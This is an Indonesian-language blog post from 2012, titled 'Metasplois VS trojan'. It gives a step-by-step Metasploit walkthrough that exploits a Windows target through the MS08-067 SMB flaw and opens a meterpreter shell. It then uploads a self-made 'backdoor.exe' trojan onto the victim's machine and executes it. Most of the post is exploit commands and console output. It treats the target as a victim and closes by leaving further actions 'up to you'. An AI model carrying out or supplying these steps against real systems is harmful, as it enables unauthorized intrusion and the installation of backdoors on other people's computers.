Minggu, 25 Maret 2012

Metasplois VS trojan


* Senjata yang harus anda siapkan yaitu metasploit dengan update terbaru
* siapkan sebuah trojan RAT atau Trojan buatan anda sendiri
* software untuk melakukan scanning Ip atau port misalnya "SUPERSCAN"
* kopi susu +Snack
* Ok Let's see
* Pertama Pilih modul exlpoitnya, seperti berikut :

msf > use windows/smb/ms08_067_netapi

* untuk petunjuk opsi/pilhan yang bisa anda gunakan anda bisa lakukan :

msf exploit(ms08_067_netapi) > show options

* lalu anda set target misalnya target kita 192.168.2.xxx

msf>exploit(ms08_067_netapi) > set RHOST 192.168.2.xxx

* kemudian anda set PAYLOAD

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

* Payload adalah sebuah aksi yang dilakukan setelah bug berhasil di exploitasi. Untuk kali ini, mudahnya kita pilih "windows/meterpreter/bind_tcp", maksudnya kita akan mengambil alih Shell metarpreternya dari target hacking kita.

* Untuk setting yang lain, karena kita masih belajar maka biarkan saja default adanya.

* kemudian tinggal jalankan EXPLOIT-nya :

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Connecting to the target…
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.132.xx[\BROWSER] …
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.132.xx[\BROWSER] …
[*] Triggering the vulnerability…
[*] Transmitting intermediate stager for over-sized stage…(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage…
[*] Uploading DLL (73227 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.54.1:51707 -> 192.168.2.xxx:4444)

Meterpreter >

* Tahap selanjutnya adalah bagaimana cara kita mengupload sebuah trojan atau virus ke dalam system korban misalnya trojan yang saya buat bernama "backdoor.exe"yang terletak di Directory c:\backdoor.exe(komputer attackers) yang akan kita upload ke "Directory c:\"(komputer victim/korban kita) maka perintah yang kita ketik

Meterpreter > upload c:/backdoor.exe c:\
[*] Uploading :c:/backdoor.exe ->c:\
[*] Uploaded :c:/backdoor.exe ->c:\\backdoor.exe

* Setelah Trojan berhasil di upload ke komputer Victim maka tahap selanjutnya fase eksekusi trojan yang kita upload tadi

Meterpreter >cd c:
Meterpreter >execute -f backdoor.exe
Process 3328 created

* Ok trojan berhasil di eksekusi selanjutnya terserah anda....

0 komentar:

Posting Komentar

silahkan berkomentar yang membangun dan tidak bicara yang tidak baik
terima kasih